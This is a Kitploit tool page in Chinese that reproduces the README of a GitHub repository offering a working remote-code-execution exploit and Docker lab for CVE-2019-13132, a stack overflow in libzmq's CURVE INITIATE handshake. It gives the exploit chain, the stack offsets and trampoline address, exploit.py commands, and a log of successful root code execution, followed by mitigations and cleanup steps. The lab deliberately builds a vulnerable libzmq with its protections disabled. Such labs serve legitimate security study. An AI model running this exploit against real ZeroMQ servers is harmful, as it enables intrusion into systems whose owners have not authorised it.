Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2019-13132-lab — CVE-2019-13132 — libzmq CURVE INITIATE 堆栈溢出 → RCE。有效的漏洞利用 + Docker 实验环境。 | Kitploit
工具/GitHubGitHub/dinosn/cve-2019-13132-lab
漏洞分析漏洞利用逆向工程模糊测试学习与教育Payload 开发二进制利用实验室与实践
GitHubdinosn/cve-2019-13132-lab

cve-2019-13132-lab

CVE-2019-13132 — libzmq CURVE INITIATE 堆栈溢出 → RCE。有效的漏洞利用 + Docker 实验环境。

查看仓库
24个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2019-13132 — libzmq CURVE INITIATE 栈溢出 → RCE 实验室

CVE CVSS Affected License

针对 CVE-2019-13132 的端到端可用 RCE 漏洞利用程序 + 可重现实验室,该漏洞是 libzmq 的 CURVE INITIATE 握手处理程序中的栈缓冲区溢出。知道服务器长期公钥(这是一个公开参数)的攻击者可以溢出 process_initiate() 中的固定大小栈缓冲区,覆盖保存的返回地址,并将执行重定向到任意代码。

作者:Nicolas Krassas (@dinosn)

仅供实验室使用。 本工具包附带了一个故意留有漏洞的 libzmq 4.3.0,并禁用了缓解措施。请勿在实验室外暴露端口 5556。该漏洞已在 libzmq 4.3.2 中修复。


快速开始

root@kitploit:~
docker build --platform linux/amd64 -t cve-2019-13132-lab .
docker run --rm -it --platform linux/amd64 --privileged \
           -p 5556:5556 cve-2019-13132-lab

# 容器内(校准自动运行):
/opt/zmq-curve-rce/exploit.py
cat /tmp/pwned-13132

自动冒烟测试(运行漏洞利用程序并验证证据文件):

root@kitploit:~
docker exec <container> /opt/zmq-curve-rce/run_lab_test.sh

仓库布局

root@kitploit:~
.
├── README.md           # 本文件
├── Dockerfile          # 一键容器化实验室
├── server-curve.c      # CURVE REP 监听器 — 易受攻击的目标
├── exploit.py          # 完整漏洞利用程序(HELLO → WELCOME → 过大的 INITIATE)
├── compute_offsets.py  # 构建时偏移提取 → build_offsets.json
├── calibrate.sh        # 运行时校准 → profile.json
├── start_server.sh     # 启动/重启目标
├── run_lab_test.sh     # 自动化端到端冒烟测试
└── entrypoint.sh       # Docker 入口点(关闭 ASLR + 服务器 + 校准)

漏洞

src/curve_server.cpp:284-336 (libzmq 4.3.0):

root@kitploit:~
if (size < 257) {                   // 仅进行了最小检查;无上限
    errno = EPROTO; return -1;
}

const size_t clen = (size - 113) + crypto_box_BOXZEROBYTES;

uint8_t initiate_box[crypto_box_BOXZEROBYTES + 144 + 256];  // 416 字节固定

memcpy (initiate_box + crypto_box_BOXZEROBYTES,             // 目标:栈缓冲区 + 16
        initiate + 113,                                     // 源:攻击者数据
        clen - crypto_box_BOXZEROBYTES);                    // 长度:size - 113

initiate_box 是一个 416 字节的栈分配缓冲区。memcpy 将 size - 113 字节写入 400 字节的有效载荷区域(偏移量 16..415)。任何 size > 513 的 INITIATE 都会溢出缓冲区,覆盖保存的调用者寄存器和返回地址。

cookie 验证在溢出之前进行,因此 INITIATE 必须携带真实的 cookie——但 cookie 仅使用服务器的长期公钥从之前的 WELCOME 消息中获取。


漏洞利用链

1. CURVE 握手(仅需公钥)

CURVE 协议设计为客户端已经拥有服务器的长期公钥(它在连接 URI 或配置中)。漏洞利用程序:

  1. 生成一个新的临时密钥对 (C', c')。
  2. 发送有效的 HELLO——服务器使用 C' + 其密钥解密。
  3. 接收 WELCOME——使用 C' + 服务器公钥解密。
  4. 从 WELCOME 中提取 cookie。
  5. 发送带有真实 cookie + 过大的 INITIATE。
  6. cookie 验证通过,易受攻击的 memcpy 触发。

无需应用级凭据。无 ZAP 身份验证绕过。溢出在 CURVE 密钥交换期间触发,甚至在应用程序看到对端之前。

2. 栈溢出 → 返回地址覆盖

root@kitploit:~
process_initiate() 栈帧(编译时使用 -O0 -fno-stack-protector):

    prologue: push r15; push r14; push r13; push r12; push rbp; push rbx
              sub $0x628, %rsp

    RSP + 0x490  ← memcpy 目标 (initiate_box + 16)
    RSP + 0x628  ← 保存的 rbx
    RSP + 0x630  ← 保存的 rbp
    RSP + 0x638  ← 保存的 r12
    RSP + 0x640  ← 保存的 r13
    RSP + 0x648  ← 保存的 r14
    RSP + 0x650  ← 保存的 r15
    RSP + 0x658  ← 返回地址       偏移量 = 0x658 - 0x490 = 456 字节

漏洞利用程序发送 464 字节的有效载荷:456 字节填充(0x41)到达返回地址,然后 8 字节包含 lab_trampoline() 的地址。

3. 错误路径 → 尾声 → ret → 跳板

溢出后,crypto_box_open() 失败(溢出的数据是垃圾密文)。错误路径记录失败,设置 errno 并返回 -1——但错误路径仅访问低于溢出区域的栈位置(RSP+0xe0, RSP+0xf0, RSP+0x280),因此它在栈被破坏的情况下正常运行。

函数尾声(add $0x628,%rsp; pop rbx-r15; ret)弹出被破坏的保存寄存器(现在为 0x4141414141414141),然后 ret 加载我们的跳板地址。

4. 代码执行

lab_trampoline() 使用原始系统调用(无 libc,无 fork())来写入证据文件:

root@kitploit:~
void lab_trampoline(void) {
    int fd = syscall(SYS_open, "/tmp/pwned-13132", O_WRONLY|O_CREAT|O_TRUNC, 0644);
    syscall(SYS_write, fd, banner, ...);
    // 读取 /proc/self/status(显示 uid、pid、capabilities)
    // 读取 /etc/hostname
    syscall(SYS_exit_group, 0);
}

使用原始系统调用而不是 system() / fork(),因为 process_initiate() 在 libzmq 的 I/O 线程上运行——在多线程进程中从非主线程调用 fork() 会在 glibc 的 pthread_atfork 锁处理程序上死锁。

为什么仅需公钥

服务器的长期公钥是 CurveZMQ 协议中的公开参数——客户端必须拥有它才能连接。它通常分布在配置文件、URI 或发现机制中。漏洞利用程序不需要任何秘密材料。


偏移量解析

漏洞利用程序需要两个值:

字段值来源
trampoline_addr0x401206nm server-curve(非 PIE 二进制,固定地址)
offset_to_ret456process_initiate 的反汇编(0x658 - 0x490)

两者都在 exploit.py 中硬编码为 Docker 实验室构建的默认值(Debian 12, gcc 12, libzmq 4.3.0)。无需校准步骤——只需运行漏洞利用程序:

root@kitploit:~
python3 exploit.py                                          # 使用内置默认值
python3 exploit.py 127.0.0.1 5556 --profile profile.json   # 显式指定配置文件
python3 exploit.py --trampoline 0x401206 --offset 456       # 手动覆盖

解析优先级:--trampoline/--offset 标志 → --profile 文件 → /opt/zmq-curve-rce/profile.json → 内置默认值。

为什么没有运行时指纹识别?

ZMTP 没有自省 API。问候信息仅透露协议版本(3.x)和机制(CURVE)——关于 libzmq 构建、编译器或二进制布局的信息毫无体现。没有可在运行时访问的构建标识符,以便针对未知目标自动选择偏移量。

calibrate.sh / compute_offsets.py 脚本用于在不同发行版或 gcc 版本上重建,此时跳板地址可能发生变化。在 Docker 实验室内它们会自动运行,但并非必需。


示例输出

root@kitploit:~
$ /opt/zmq-curve-rce/run_lab_test.sh
=== CVE-2019-13132 lab test ===
[*] target:         127.0.0.1:5556
[*] trampoline    @ 0x0000000000401206
[*] offset to ret:  456 bytes

[+] connected
[+] HELLO/WELCOME complete (S'=00b19cb8217ac149...)
[+] sent INITIATE (577 bytes, overflow = 464)
[+] waiting for process_initiate() → ret → trampoline → system()
[*] done — check /tmp/pwned-13132 on target

--- proof file contents ---
CVE-2019-13132: RCE achieved via CURVE INITIATE stack overflow
Name:   server-curve
...
Uid:    0       0       0       0
...
hostname: caa76cbbc4a4
--- end ---

[PASS] RCE confirmed — /tmp/pwned-13132 created by the libzmq server process.
[PASS] CVE-2019-13132 lab — RCE chain verified end-to-end.

缓解措施

防御措施效果
升级到 libzmq >= 4.3.2已修复。 在 memcpy 之前添加了对 INITIATE 大小的上限检查。
栈金丝雀(-fstack-protector)在函数返回前检测到溢出。 金丝雀位于局部变量和保存的寄存器之间;溢出会破坏它,触发 __stack_chk_fail。
ASLR随机化共享库和栈地址。 跳板位于非 PIE 二进制中(固定地址),但生产服务器会是 PIE 的,需要信息泄露。
PIE随机化服务器二进制文件的加载地址。 如果没有泄露,跳板地址将不再可预测。
NX此处不相关——未注入 shellcode;漏洞利用程序调用现有代码。
ZAP / 应用级身份验证无帮助——溢出在 CURVE 密钥交换期间触发,在咨询 ZAP 之前。

清理

root@kitploit:~
docker rm -f <container>
# 或容器内:
pkill -9 -x server-curve
rm -f /tmp/pwned-13132
sysctl -w kernel.randomize_va_space=2   # 恢复 ASLR

参考资料

  • NVD CVE-2019-13132
  • libzmq 4.3.2 发行说明 — 修复
  • CurveZMQ 规范 (ZMQ RFC 26) — CURVE 握手协议
  • ZMTP 3.1 (ZMQ RFC 37) — ZeroMQ 消息传输协议

作者

Nicolas Krassas — @dinosn

许可证

MIT。故意留有漏洞的 libzmq 4.3.0 源码在构建时从上游 LGPLv3-with-exceptions / MPLv2 仓库获取。

免责声明

用于防御性安全研究、教育和授权安全测试。请勿在受控实验室环境之外部署本附带的易受攻击构建。

下载工具